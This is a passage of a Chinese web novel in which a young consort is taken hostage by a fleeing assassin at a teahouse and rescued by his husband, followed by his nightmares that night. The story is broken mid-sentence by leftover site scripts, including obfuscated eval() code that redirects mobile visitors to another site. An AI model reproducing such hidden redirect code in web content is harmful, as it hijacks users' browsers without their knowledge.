就连成安都得到了条锦绣发带,扎上精神得很。 他们一行人转转看看,不给萧烬安买点什么,说不过去,太便宜了显得敷衍,恐怕被萧烬安挑理。就算稍微贵重些也无妨,白照影上回从白家收到近百两退赃款,趁有机会赶紧用。 两世生活条件优越,白照影没什么消费观念。 看中了店里一个发冠,鎏金质地,镂空花纹嵌着玛瑙,映着日光明灭闪烁。他瞧着好生喜欢,但款式风格并不太适合自己,唯独胜在好看。那发冠售价八十两银子。 白照影干脆地付钱,想着萧烬安最好是不肯收,他不收,白照影就留着长大后戴。 店主装盒,成安赶紧接,世子妃送给殿下的礼物,比他们的加起来都贵。 虽说礼轻情意重,但礼重情意更浓,就冲精心挑选贴身物件这桩,成安恨不得豁出命去,也要违拗世子爷一回——想把放妻书替世子撕了。 冲动消费的后果是,丰厚集还没逛完,白照影手里的钱已经见底。 以致于越往后,只能买点不痛不痒的玩意儿,陶泥小猫、纸扎风筝、草编蚂蚱、竹蜻蜓之类的……剩下最后三文钱,买了张还算做工仔细的,暖橙色狐狸面具。 世子妃戴着面具悠然叹息,现在是贫穷的小狐狸。 成安觉得放妻书快把自己硌死了,放眼整座上京,除了世子殿下,谁还能养得起世子妃? 成安手臂悬着数不清的物件,指头再度摸到放妻书的纸页。 街对面有个小厮打扮的少年,径直朝白照影走来。 成安警惕地望向对方。 那小厮恭恭敬敬地行礼,然后才道:“大少爷,下午暑热,小侯爷正跟几个同年清谈,碰巧看到您经过,想请您进声望楼喝杯冰饮,暂时歇息歇息。” 白照影认识的小侯爷只有一个,表哥崔执简是也。 白照影对表哥印象极好,他跟表哥两次相见,表哥两次都关心他身在王府处境是否安全,白照影特地向茸茸了解过,原主与崔执简婚约因为托孤,曾经没有私情。 崔执简在茶楼第二层,目光柔柔地望着自己。 他身着绯红色官服,清秀面庞,被衬托出几分春风得意的喜气,上次就听说他要被皇帝授以官职,想来现在已经得偿所愿。自己必然要上去恭喜恭喜。 “我这就来。” 白照影跟随小厮而去。 那小厮引路,隋王府一行人当然跟随世子妃上楼。 宰相门前七品官,这位文翰侯府上的小厮,在街上片刻工夫,甚至都有人远远就向他揖手。文翰侯祖上出过首辅,崔执简更是上京公子榜首,不久前还在殿试扬名,前途不可限量。 单看崔小侯爷这份上心,再加上两家曾有婚约,成安咽了咽口水。 也不知世子北镇抚司的头绪,是否理清楚了? 他放妻图一时痛快,知不知道,世子妃行情这么好? 如果这封放妻书给出去,世子妃恐怕当天都留不住。 *** 声望楼最显眼的地方,用金钩银划写了四个字:匹夫有责。 白照影登楼。崔执简听到白照影的脚步,从座位立时起身。几名同年的进士也纷纷起身。 “表弟。” “给哥哥行礼。”白照影拜得很深,恭恭敬敬。 反倒让崔执简失笑,就势摸他的发顶:“作何这么客气?” “因为客气完了,就可以不客气了——表哥快给我倒水,我累死啦,外面还那么热。” 他对亲近的人,向来顺杆爬,捧起崔小侯爷亲自倒好的酸梅饮,咕嘟咕嘟。顷刻间干完满杯,旁边的小厮想搭把手,再给白照影续上,却被崔执简用目光轻轻地制止了。 崔执简再给他注满一杯,提壶慢斟,儒雅风流。 白照影对酸梅汤如饮酒,逐渐言语无忌起来,东拉西扯: “你知道嘛,最近都不会下雨,外面还要再热十几天!” “我逛了一遍丰厚集,觉得它最大的问题是车辆不禁行,我的车只能停在外面,为什么不整顿成步行街呢……” “表哥当了什么官?” 崔执简绽放出个柔和的笑。竟是所有问题都回答,哪怕再幼稚的问题,他也给予了回应: “热虽热,但城郊正收割小麦,如果下雨,反倒对农事不美。”“何为步行街?喔,如果按你这种设想,我可以向府尹建议,这事确实是顺天府管的。”“为兄现在任顺天府推官。” 推官不是府尹,想来崔执简还得一步步擢升。 “推官是干什么的?” “断案。” “推理?” 崔执简没听过这个词,仔细想想,还挺有趣,展颜道:“对,就是推断出,谁更有理。” 同桌的几名进士,都暗自惊讶称奇。 要知文翰小侯爷,其实是个很讲规矩守礼之人。可是白照影对他语气随意,甚至还带着理所当然的娇纵,文翰小侯爷不以为忤,居然十分受用。 有名进士想在崔执简跟前卖好,故意奉承白照影道:“上京早有传闻,小侯爷与公子榜排名第四的白兮然白二公子是表亲。当真是兄长慈爱,表弟孺慕,令人感动不已。” 白兮然这个名字像几块冰疙瘩,砸下来,令局面稍有冷场一瞬。 但不等白照影尴尬,崔执简就坦然道:“这位是白家大公子,名讳照影,他不是二公子。” 崔执简直白纠正,也与他平时委婉含蓄的风格大相径庭。 那名说错话的进士,就只得讪讪地笑,拱手致歉:“原来如此,白家大公子,久仰久仰。听说公子……”当然这只不过是套话,听说后面, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要补充一两个事例。 可是那进士死活也补不上,白照影声名不显,他搜肠刮肚,突然想起这美人竟是隋王府世子妃,然后想起萧烬安一些传闻,场面愈发陷入沉默。 进士只好从袖中拿出赠予崔执简的贺礼,是块散发着香气的描金墨锭。 “今日授官以后,我等各奔东西,崔兄身在天心,今后必得圣眷。”他顿了顿又道,“我父母俱在上京,山长水远,难以顾及。还望崔兄在京多加照拂一二。” 大虞朝为防止官员在某地割据,地方官通常不许携带家眷。对方的请求,乃是人之常情。 崔执简当然应允:“那是自然。” 其他几名同年,大多有同样的请求,其实更为与崔执简拉拢关系,以求对方飞黄腾达时,还能顾念旧情。 不过崔执简为人清正,别人不敢明说,哪怕送贺礼,也只敢送点稍微精致的文具。 整桌上所有人都赠送了贺礼。 白照影心虚地挠下巴。 本就没想到会在外碰见表哥,哪能提前准备贺礼,更何况钱还花得干净。 他有点坐立不安地在椅子上挪了挪。 成安警惕地将鎏金发冠抱得更紧。 白照影把目光错开,停留在身上挂着的几个小玩意儿,他把橙红色的小狐狸摘下来,在脸上最后戴了一下,方才依依不舍地送给表哥。 “这是我在集市上买的小玩意儿,祝愿表哥今后得偿所愿,万事如意。” 崔执简听见得偿所愿,倏然间凝滞片刻,有三两息的工夫,方才点头笑道:“但愿如此。”珍重地接过狐狸面具。 成安暗中松了口气。 崔执简突然回忆道:“姑母当年成婚两载,日思夜想得到个孩子,途经狐仙庙的时候停步祈祷,隔月就怀了你。狐狐,这份礼物很宝贵。” 谁知道三文钱的礼物,竟还送出段故事,表哥显然很高兴。 而白照影在现代小名也叫狐狐,因为他姓白。 他只能装作早有用意,附和地点头,胡乱说道:“表哥喜欢就好,往后见它如见我,我是小狐仙,你挂到家里墙上,说不定还能挡灾。” 崔执简莞尔。 席间又是阵随性而至的清谈。崔执简通晓天文地理,但为人不爱炫耀,总在人们谈话时,画龙点睛地补上几句,让人拍案叫绝,又有徐徐风度。 小侯爷风度翩翩,世子妃笑意频频。 成安在旁边牙酸地对比,努力扒拉殿下的好处,却是——人冷漠,脾气坏,反复无常,还有疯子的恶名在外,看起来竟没有什么赢面。 可是成安的忠心,不允许世子落于其他谁的下风。 世子的本事他们不知道。那崔执简不过是承袭爵位,又读了两本破书,会做点酸腐文字,无病呻吟,他还能干什么? 就在成安暗中强烈质疑之际,一声尖叫,划破了声望楼原本的清静。 叫声过后,声望楼宾客躁动,到处是拉拉杂杂的脚步声。 外头楼下有官军风尘仆仆地喝道: “顺天府办差,有刺客刚从禁宫逃窜,一路被追踪躲藏进了声望楼,此贼擅于易容逃窜,立即封锁现场擒贼!” 声望楼一时间氛围肃穆。 那官军喊得越厉害,官兵纷至沓来地登楼。 却不料越想控制局面,不让声望楼内惊惶,反而引出场面更大的慌乱。茶客们议论纷纷。不多时已有不少人,被认为形迹可疑,众官军宁可错杀绝不放过,所以顷刻间扣住四个。 崔执简略作思忖。 他起身,崭新官服,绯红衣裳,补子绘着鸂鶒图案,对那些顺天府官兵道: “且先放人,我有擒贼的手段。” 官军头目自是认识新上任的推官,推官在古代别称四爷,目前的上京市四把手,欣然道: “崔小侯爷!大伙儿听崔小侯爷指令!” 成安小抽了一口冷气。 18. 萦绕徘徊 顺天府负责京城治安,崔小侯爷既有爵位,又有京城公子榜榜首的名誉加身。 有崔小侯爷主持局面,顺天府官军迅速释放“嫌犯”,四个刚被抓住的百姓这才惊魂稍安,连忙向崔执简道谢。 官军统领还在一旁禀报:“据说圣上出乾清宫到御花园,这刺客先扮成侍卫,又假扮成太监,一路徐徐接近,就在圣上观景的时候,于假山后面刺出一剑。” 官军犹在战战兢兢。 禁军将刺客从皇宫追逐到宫外,属于了顺天府服务范围,若是不能擒贼,各部门恐怕还要相互攀扯。抓住是功,抓不住可能要死,大伙儿脑袋都摇摇欲坠。 崔执简利落道:“所有人坐回原处。” 那统兵的军将一怔,揩了把脸上豆大的汗,气息粗重道:“小侯爷,刺客能在顷刻间易容改扮,咱们就坐在这里不追吗?” 崔执简从容地用宽袖里食指,比出个噤声的动作。示意那统领过来,对统领耳语。 他吩咐几句,统领眼睛逐渐放光,不断地点头。 茶客们这时恐慌情绪渐消,声望楼陷入片刻静寂。 白照影不解地东张西望。 就见两三个呼吸之间,崔执简已观察遍楼中所有人。指着距离他们几十尺外,靠窗一个独自坐着的鹤发老者:“是他。” “他是刺客!抓住他!”统领厉声喝道。百姓同时望去。 众官军拔刀上前,不耽误纷纷愕然,竟是单独观察外形,怎么也不会想到此人会是刺客。 这老头儿瞧着得有七八十岁了吧? 十几柄钢刀围向窗边。 那刺客没料到这么快暴露身份,立即脱去那层老者的外衣,他以诡异的身法窜出包围,形似金蝉脱壳,也不知道他是怎么在人群里钻了又钻,然后跃出人墙! 赫然是个瘦削青年的模样,身着暗青色劲装。 原来刺客虽能轻易改变形貌,但是他毕竟刚被几支官军队伍穷追不舍,呼吸频率难以改变。所以崔执简让他们坐下凝住不动,观察胸膛起伏变化。 崔执简正是利用最简单的现象破案。 声望楼观众久久瞠目,也是考虑了好一会儿,才有人陆陆续续想通破案原理。 白照影哑然片刻,然后对他这表哥,钦佩增长到几何数,就算那些电视剧里的神探,想必也不过如此吧? 楼中所有人以为尘埃落定,然而,顺天府官军却不断倒下。重伤惨叫一浪高过一浪,在声望楼二楼,已有五六名官兵被刺客用短剑戳出许多血洞。 原来那刺客混进声望楼,是因为茶楼人员混杂,有同伙在此处接应。 打斗之际,刺客的两个同伙也已现身,利刃交兵时被刺破外衣,显出内里一样的暗青色劲装。三名高手同时与顺天府官军作战。 崔执简将白照影挡在身后,所有人站在墙边,形式不容乐观。 成安成美唯恐世子妃被殃及,虽然有可能不再是世子妃了,牢牢守护在白照影左右。 这时白照影忽然想起,还带着两个高手,向两人征求意见道:“你们……能去帮帮忙吗?” 成安成美鲜少公开参与过行动,两人是老王妃捡回来,养育培育,留给世子殿下的亲信,姐弟俩都忠诚得有些轴。 在放妻书递出前,世子妃依然是世子妃,理论上夫妻同体,要听世子妃的命令。 姐弟俩点点头,随手捡起地面官军丢下的兵刃,抖开刀势,斜冲进入战圈。 两人加入,刀锋翻转,顷刻间牵制住刺客的两名同伙,官军声势突然壮大,越来越逐渐缩小包围圈,将三名刺客围困在里面。 此时成美故作不敌,引得对手冒进,雪亮的刀尖直接将对方贯穿,背后透出血刃。 那人杀猪般一声惨叫,临死前高声叫道: “幽兰映月,慧心自明!!!” 成美不知他在喊什么,刀刃拔出,带起道血泉。 白照影两辈子头回见近在眼前的杀人,到底是心头恐惧不已。 混乱中三名刺客只剩下两个。 其中一个被成安制住,众官军刀架在那人脖子上,将他按到地面生擒。 仅剩的那名刺客与崔执简眸光相对,视线危险地闪了闪,使了个指东打西的虚晃招数,身形如电,接近欲挟持崔小侯爷。 刺客以为崔执简是在场身份最贵重的一个。 白照影搓起他的竹蜻蜓。 竹蜻蜓从崔执简侧后方向前,带起大片光影。 刺客误以为是什么绝门暗器,倏然顿住脚步,崔执简护着白照影避开。但是这个小小动作,却令刺客改变了主意,误以为能令崔小侯爷不忘相护的人,必然身份更加不凡。 刺客故意再对崔小侯爷下手,实则只为将护卫引开,找了个空隙一抓一带,拉住白照影衣袖把人带到跟前。 成安成美救援不及。 刺客血淋淋的手臂,握着柄刃口崩碎的蛇形剑,已是强弩之末,嗓音哑得厉害: “给我车,让我走……” “不然我宰了他——” *** 白照影呼吸都快要忘记了。 上辈子他因病,日日命悬一线,如今这辈子,他身体虽无病痛,那种随时要死的感觉,却比前世还更加频繁。 刀锋就在他的眼前。 呼吸再粗重些,他的脖子就能被刃口破开血皮。 白照影瞳孔发颤,张了张嘴,没发出声音。 顺天府官军急于立功,并不知白照影是谁,统领正欲一举擒贼,被崔执简阻拦:“且慢。” 统领动作凝住,握刀的手,手腕转了一转。 崔执简怀有私心,必不能舍弃白照影,但也不能明说,沉声提醒:“人质是隋王府世子妃,这些天,你想必听说过此人。” 隋王世子萧烬安,嗜杀暴戾,在上京早有凶名。传闻他宫宴斩杀朝臣、鞭笞异国使者……种种荒唐,触犯律法无数,但偏偏此混世魔王,至今都没被褫夺世子爵位。 背后的关系,上京水深,自己不过官军小小头目,琢磨也不敢琢磨。 只知事关萧烬安,不招惹,不得罪。 更况且这次被抓的是他家世子妃,就是他那个受点伤,延请满城大夫给他看病的娇气鬼,如果上头追责起来,责任能推给隋王府一半。 统领心中谋划好退路,以为崔执简考虑周全,对崔执简抱了抱拳,旋即向后撤步。 众官军纷纷散开个扇形。 刺客眼睛里闪过抹喜色。拖着白照影,将白照影夹得更紧,在不断靠近楼梯的过程中,靴底印着鲜血,白照影双脚在地板划出两道长长的血迹。 白照影小脸惨白。 崔执简不敢激怒刺客,刺客挟持人质下楼。 崔小侯爷在刺客身后道:“本官给你备车,将世子妃放开。” 刺客却用剑在白照影颈边刻意比了比,声音哑得更加厉害:“放开?他是老子保命符,放了他,我的车根本出不了城,就要被官兵放箭穿成刺猬!” 此刺客从刺杀皇帝失败起,直到现在,在生死的边缘,经过无数次来来回回。现在好容易因为挟持人质而看到一线生机,当然不肯放弃生还的机会。 刺客人已下到楼梯过半,就快要消失在崔执简视线。 崔小侯爷紧走几步:“本官愿用自身换世子妃。” 所挟持的白照影轻轻颤抖。白照影没想到,表哥会对自己如此重视,胸中泛起股难言的感动。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13889698|147028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬了咬唇,分明恐惧已极,又不想让表哥担心。 那刺客当然不肯跟崔执简谈判,纵使出身江湖组织,不知隋王世子妃何人,只是认定了白照影能够做个筹码。冷哼了声,拖着白照影继续下楼。 刺客在声望楼的木质楼梯前,投出片浓郁的阴影。 那片阴影的头颅,被衮绣金线的靴尖踩中,像是狠狠地碾了碾。 刺客神魂震颤,并未想到会有谁敢迎面接近,抬眸投去抹冷厉的眼神,却被对方阴郁的目光逼退回来。 阴影逐渐缠绕住足踝,来者向他步步趋近。 刺客掌心握着的蛇形剑微颤,瞳孔映入片飞鱼服森冷肃穆的黑金色。 这身衣服的辨识度,说是大虞朝最高也不为过。 整座声望楼的官军,在遇见这支队伍时自觉站开,锦衣卫乃天子之刃,执行任务,宛如天子亲自过问。 敬贤帝在前段时间遴选世家子弟,扩充了锦衣卫的编制,淘汰了一部分锦衣卫的旧人。 帝王的特务机构大换血,如今正是锦衣卫再放异彩之时,敬贤帝因为在宫中遭到行刺而龙颜大怒。 皇帝已知刺客逃出皇宫。 皇城负责防务的部门众多,追捕刺客,必然牵涉到城中各部门推诿扯皮,索性动用他新淬罢的利刃锦衣卫,下旨捉拿到刺客者或可破格拔擢。 萧烬安带着部从到声望楼。 但其实他对赏赐无甚兴趣。 早晨他写完放妻书,上午在北镇抚司理事,前前后后拢共不到个把时辰,可是他体内那股烦躁情绪,郁积得令他只想犯病,分明今日是喝过药的。 他不知成安送没送走白照影,心思不宁,最终决定派个人打问。 然而被他选中传话的锦衣卫小旗,是个傻子,消息还停留在伉俪情深的旧版本,没打听来白照影被送出隋王府,倒打听出,白照影带着他两名侍从去丰厚集玩……他怎么这么爱玩! 小旗照实反馈,禀报有点事无巨细。 萧烬安看似淡漠地聆听,对白照影的行动轨迹,到底还是听了进去: “世子妃给殿下买了礼物。” “那发冠与世子形貌很是相称,必定是精挑细选过的。” “这趟偶遇崔小侯爷,崔小侯爷亲自斟茶,世子妃满饮两杯。” “世子妃对崔小侯爷笑,崔小侯爷对世子妃讲上京城的奇闻异事。” “世子妃……” “世子妃……” 白照影人虽不在。 萧烬安却依然在满脑子冒白照影:在笑的,在挑发冠的,在捧着杯子喝崔执简倒给他的冰饮,那双桃花眼笑得时候微微地眯起来,眼睛里都是细碎的光晕。 纵使他竭力,将幻想里的每个白照影,脑门上都贴了张放妻书。 但白照影依旧撵都撵不走,反而在他身边,不断徘徊,不断强调,变成更为明显的存在。 萧烬安深吸了一口气。 整个白天,萧烬安脸色差得厉害,以为自己必定疯出强迫症了,把锦衣卫这帮见惯大阵仗的爷们儿吓得头都不敢抬。 就在这时接到了皇帝的旨意,要缉拿刺客。 萧烬安想杀个人冷静冷静,到声望楼,正中下怀。 却不料他在看到刺客的同时,眸子对上了白照影那张可怜兮兮的脸。眼睛望向他。 使萧烬安定了定神,误以为解药失效,自己终于彻底疯了。 萧烬安的眸光,在白照影苍白的面容盘桓瞬息,这次没看到对方贴在正脸前头的放妻书。 看到的,是对方眼睛眨了几下,突然,哭了,同时掉下两颗黄豆大小的眼泪,啪嗒啪嗒…… 这次是本尊。 白照影被劫持了。 19. 制裁情敌 因为并没把刺客太当回事,刺客反而对萧烬安摸不透底细。 刺客只觉得浑身被强烈的威压感慑住,一路后退。 萧烬安沿着楼梯向上。 仿佛根本无惧于刺客的胁迫,那刺客心思恐慌了起来,刺客作势提起声音,额角却淌落几颗冷汗,他颤声喊道:“他是隋王府世子妃,他——你若再接近一步,我必然杀了他……” 他是隋王府世子妃。 萧烬安没听进去威胁,无意识锁定了这句话。 他看得很清楚,远远见有人质被劫持时,人质并没显得那么失态,只是在望见自己的瞬间,白照影突然红透了双眼。 眼睛眨一下,就有眼泪掉下来。哭个不停。 他不知道白照影为何会哭? 也可能他就是爱哭。 但楼上有崔执简、有成安成美,还有大虞朝顺天府官军几十人。 白照影背对着他们,湿漉漉的眼睛,唯独面对自己。 萧烬安的心颤了颤。 此时大概是终于意识到突然不争气了,白照影藏在刺客刀锋后面,小心翼翼吸了口气,泪水略有回潮。 白照影也没想到,自己一见萧烬安竟控制不住眼泪。可能总是遇到危险,就在萧烬安跟前哭,已养成生理习惯。可他根本不敢指望萧烬安能救自己,又怕随时割断脖子会死。 白照影鼻尖颤动,半张着嘴,因失措呼吸逐渐凌乱。 而刺客同样也濒临崩溃的边缘,如何都没想到,会有锦衣卫追到此处,对方也根本没把人质的死活当回事情。 刺客紧紧地扼住白照影的喉咙,刀抵着白照影道:“隋王乃是宗亲,隋王世子的正妻,必定也是高门贵胄,你为一时争功害死此人,就不怕皇帝过后对你清算吗?” 萧烬安又接近了一步。 声望楼静得落针可闻。 刺客握刀的手遽然颤抖:“你到底是谁!!!”让白照影命令这锦衣卫退开。如果逼迫白照影强调身份,引得对方忌惮,应该能够做到。 却没想到白照影轻轻的,嗫嚅着,望向来人哑声道:“夫君。” “……” 他到底是被那声呼唤打动了瞬息。 萧烬安绣春刀出鞘,银光闪过,只在局面僵持的时刻,将刺客半根手臂连同蛇形剑齐齐斩断,血浆喷涌如瀑! 刺客一声哀嚎,几乎刺破人的耳膜。然后刺客瞳孔映出自己的剑与手坠地。惨叫越发不止。 已经骤然失去条手臂的刺客,身形晃动,又被萧烬安当胸踹飞,倒仰着从楼梯口摔回二楼,跌入顺天府官军包围圈内,被若干把军刀牢牢控制住。 萧烬安这算快刀斩乱麻,因为料定刺客会将白照影当成护身符,反而要刻意避免伤害白照影的性命,他才能出其不意,在那么近的距离解救人质。 从楼梯到楼上,此时已经满地鲜血。 萧烬安浑身溅了血。 血浆融入飞鱼服的黑金底色,瞧不太明显,可是零星的血沫乱洒在萧烬安的眼尾眉心,他带着满身煞气出现在众人面前。整个人像是个修罗恶鬼。 在场者呼吸滞重片刻,竟都无意识往后退了半步。 成安跟成美连忙搀扶起世子妃,在萧烬安旁边站定。 众锦衣卫捡起刺客断掉的手臂,将刺客堵上嘴牢牢绑缚,推搡着带走。 顺天府那小统领,虽说心有不甘,但犯不着跟锦衣卫抢功。 崔执简更是无意争功,表弟已然无事。但他对萧烬安的营救行为,完全不顾表弟安危,确实有些冒火。幸好结果有惊无险。 崔执简拱手道:“楼中刚发生血案,在场者皆心有余悸,崔某已让部下传唤顺天府医官,不多时医者就会到声望楼义诊。世子妃可在此处稍坐。”他担心表弟因惊吓闹出什么后遗症。 萧烬安目光却越过崔执简,落在靠窗众进士那桌,有张新加的圆凳,凳子与座椅距离仅有两三个拳头。酸梅饮瓷壶泛起层水汽。 萧烬安倏然不悦:“我不缺出诊费。” 崔小侯爷调整呼吸,令人窒息的感觉又上来了。 但崔执简依然坚持:“此番是我将世子妃邀请到声望楼,世子妃被挟持,有我一份责任,崔某将竭尽全力弥补世子妃,还望能给崔某亡羊补牢的机会。” 萧烬安说不出人话:“那你自裁吧。” 崔执简:“……” 崔执简冠玉般的面孔微微泛红,进也不是,退也不是。 行止间萧烬安眼神扫过,崔执简腰佩着个狐狸面具,那面具精致,但却是纸糊的,外圈有层毛边,沾水估计都得掉色,售价三两文都多。 此时成安重新抱起来白照影买回的发冠,金光闪闪,玛瑙色鲜亮夺目。 萧烬安气息无由地顺畅。 他叹口气,摆摆手,放过崔执简: ——“也怪可怜的,你不必死了。” *** 白照影从没见过这么多血。对这个世界的崩溃感,在重新登上隋王府马车以前,铺天盖地袭来。白照影胃里翻搅热意,他扶着车壁吐得像个漏风口袋。 忘不了萧烬安那一刀下去,刺客手骨断裂的声音。 他从没听到过这种声音。 嘎啦。 他又不断后怕,怕死了万一当时刺客手抖,割破了自己脖子…… 又害怕萧烬安这个人,他拿不准他是救自己,还是根本没打算救自己,只不过是他的刀,不小心划得太快,而自己这条命,也是不小心捡了个漏。 白照影边吐边哭,吐得两颊发胀。 成美捧着痰盂等世子妃吐完,茸茸赶紧捧过来清水,给他漱口。 白照影漱完口就缩进车里,躲到个角落,把自己蜷起来。 车外是不减热闹的丰厚集。 刺客已伏诛的消息一经传出,丰厚集街头巷尾又有新鲜的谈资,尤其这场追捕刺客之战,上下涉及到天子、锦衣卫、顺天府、小侯爷、小王爷,背后似乎还隐藏着个口号诡异的教派。 只在顷刻间,此事市集传言,众说纷纭。 白照影头倚着车壁,如今很虚弱。 他有种神魂抽离的空虚感,目光落在同车萧烬安的身上,又移开视线。萧烬安已命人移交刺客进入皇宫。白照影猜测他沾了血,面君不雅,所以要先回隋王府。 白照影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13889699|147028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竭力缩小存在感,不敢跟萧烬安有交流。 他有一搭没一搭地,错车时,听外头百姓们议论。 起先他还没听出些什么,无非都是今天市集里的事。到后来听见个关键词“隋王府世子”,他敏锐的神经被触动,不免悄悄望了眼萧烬安。 距离近了,车外面的话音变得清晰可闻: “听说,隋王世子又发疯了。”白照影在车里身体僵硬。觉得这话他不该听。 可是丰厚集这段路堵得厉害。 外面的百姓被堵着,走都走不了,就只能排遣时间,边走边说: “以前萧烬安有老皇帝罩着,现在听说他往皇宫派刺客,他难道嫌命长么?” “可我怎听说的是,萧烬安打伤崔小侯爷,与顺天府发生冲突,双方在声望楼交手时,正好遇见从皇宫逃出来的刺客?” “你这版本也不太对,我听得是……” 百姓妄议皇族是非,声音其实不大。 但隋王府这辆马车实在宽敞,它委实寸步难行,而窗户正好开着条缝,所有话都能隔着车板传进车里,听得白照影胆战心惊。 他怕车里的大魔王再度发作,也担心他出手伤人。 另有一点不足为外人道的地方时,他知道萧烬安初次发疯,是童年时遭到谋害,他承认发疯这件事,他对萧烬安有几分恻隐之情。 乱七八糟的思绪,使白照影掀起车帘,作势欲透透气,而暗中露头跟外面百姓目光相对,指了指车前头挂着的两盏灯笼。 灯笼提线转动。 车外几个年轻人,先开始表情莫名,而后看到马车灯笼上头“隋王府”三个大字,立时吓得魂飞魄散,纷纷宛如活见鬼似的,也不再打算进集市逛街,连忙跑了。 白照影视野内,四五条人影逐渐缩成黑点。 他疲惫地把脑袋缩回车内。没敢直视,想要小心捕捉萧烬安的脸色是雨是晴。 车厢内压抑感依然不减。光线很幽微地照进车内,给萧烬安侧影镀上层金橙色轮廓,削弱了他向来阴冷的英俊,给他添了几分雅致。 外头却突然又有不知情的议论声:“隋王府世子当街发疯,杀死一人,砍伤两人,声望楼现场血流如注。” 萧烬安指节在刀柄摩挲片刻,露出的却是道笑声。 他若出手杀人或伤人,白照影只会觉得怕。可他笑起来,白照影则心头有某处莫名好疼。 白照影鬼使神差地想着: 这次萧烬安抓获刺客,救下他,按说算做的是件好事。但坊间却把他传得很不是个东西。 那能不能这样以为? ——也许,萧烬安疯过一阵,可是那些混蛋事,并不完全都是真实存在过的? 他倒没想为萧烬安辩白,仅仅是,有此猜测。 白照影并不急于求证,也无法向谁迅速求证。 隋王府车辆穿行过丰厚集,走得这才顺畅了许多,下车一路无话,白照影今天浑身热汗叠冷汗,在下人的服侍过后换了干净衣服。 沐浴过罢,浑身毛孔刺得慌,他在北屋睡得并不安生。 当晚,白照影做了一个梦。 …… 20. 有错当罚 梦里有人追着他索要断臂,那声音嘶哑,胳膊断面切口处血淋淋的。 白照影赶紧跑,甩掉了那个没手的人,正待喘过气歇歇脚的时候,忽然感觉有谁在轻轻敲自己的肩头。 他忙回身查看,一滴血滴淌落脚面,他没看见人,看到的是只血淋淋的手。 圆柱般胳膊中心,有块被斩断的灰白色暴露出骨髓的骨头。 白照影被魇住了。 梦中让那断臂紧紧勒住脖子。 他上不来气,觉得自己要死,好容易方才挣扎出来梦魇,上气不接下气唤茸茸: “茸……茸茸,你过来,你在哪儿?” 茸茸不回答。 小丫头向来睡得沉,白照影心里清楚。 但是刚做了噩梦,他必须得看见个活生生的大活人,这是他在前世养成的习惯,要有人陪伴,方才不至于那么害怕。 茸茸虽小,勉强是个活物。 白照影抱着枕头,去外间找茸茸,小姑娘的被子鼓鼓囊囊的。 他害怕吓着茸茸,一边叫着茸茸一边过去,然而茸茸并没有什么反应,白照影的呼唤,始终得不到回应。 他在黑夜里颤抖嗓音,只能听见自己说的话,因为只有来言没有去语,于是更害怕了,又担心茸茸在被子里闷坏自己,白照影隔着被子,他小心翼翼推推茸茸的脑袋。 摸到茸茸的花苞头。 ——可是,那花苞头竟一整个儿掉下床榻,砸在他脚面! 先是啪地一声,然后再骨碌碌滚动,滚落到白照影脚边,满地碎发一片。 白照影立时魂飞魄散,拔腿就往外面跑,完全没想到情况会变成这样的展开,他生怕再骨碌碌追上自己的,是茸茸的头。 其实这是茸茸提前放好的假发包,里面裹着个圆圆的蹴鞠球,球上有几个铃铛哗啦作响。 因为茸茸也被今天追捕现场吓得做噩梦惊醒,担心搅扰白照影睡眠,小姑娘伪装了个假人睡下,悄悄找成美姐姐去了。 小姑娘当然不知道,正是她做出来的那假人,差点儿吓死她家少爷。 白照影慌不择路,跑出屋门。 北屋向外,出门对面就是南屋。 南屋萧烬安睡觉很浅。 萧烬安睡前将那放妻书从成安手里,找了个由头收回。 他理由充分,说考虑到日后也许还有用得着白照影的地方。 成安连忙点头,说家里多养个世子妃,无非每月多耗几罐蔗霜,省得外头再有谁给您乌七八糟地添人,打扰殿下的清静。 主从暂时达成观念上的平衡,放妻书重新回到萧烬安手中。 放妻书压进萧烬安枕头下,萧烬安同样觉得硌。 他警惕于这种被谁反复拨弄的感觉。 但却不得不承认,就在今天,他平生第一回,主动改变了自己的决策。 闭上眼,看到白照影笑,看到白照影哭,看到他从车内向车外提示那些不知死活的青年,那是在维护自己么? ……那他可真是自作多情。 萧烬安冷冷地驱赶白照影的影像。 刚消停没多长时间,就听见南屋外头有动静,声音轻轻细细的。 他原以为仍是刺客,萧烬安摸索枕边的刀。 听见的居然还是白照影的声音,大晚上的,该不会是幻听了? 可他确实在轻拍他的门,声音不大,像试探他到底睡没睡、醒没醒,颤抖着冒出很小声: “夫君?” ……他到底想干什么? 萧烬安在屋里长长的吸了一口气,继头一回改变主意以后,又头一回产生了,被某个人烦到,想要跳下床去喝口解药的冲动。 南屋帘外投出白照影的影子。逐渐消失,他想走。 但岂能让他招惹完自己,就这么轻易离开。 萧烬安故意声音渗人:“何事。” 白照影在屋外被吓得更狠,此时万分后悔,为何慌乱间要敲萧烬安的房门,自己这岂不是主动唤醒沉睡的魔头? 实在够勇。 白照影骑虎难下,硬着头皮道:“夫君,我……能求你件事儿吗?” “别卖关子。”萧烬安冷声。 白照影隔门都能感到对方语气里的不耐,他自然不敢久留,小声说:“你能把成安派出来陪陪我么?” 南屋里边沉默了瞬。 白照影好像意识到,自己提了个有点儿过分的请求。 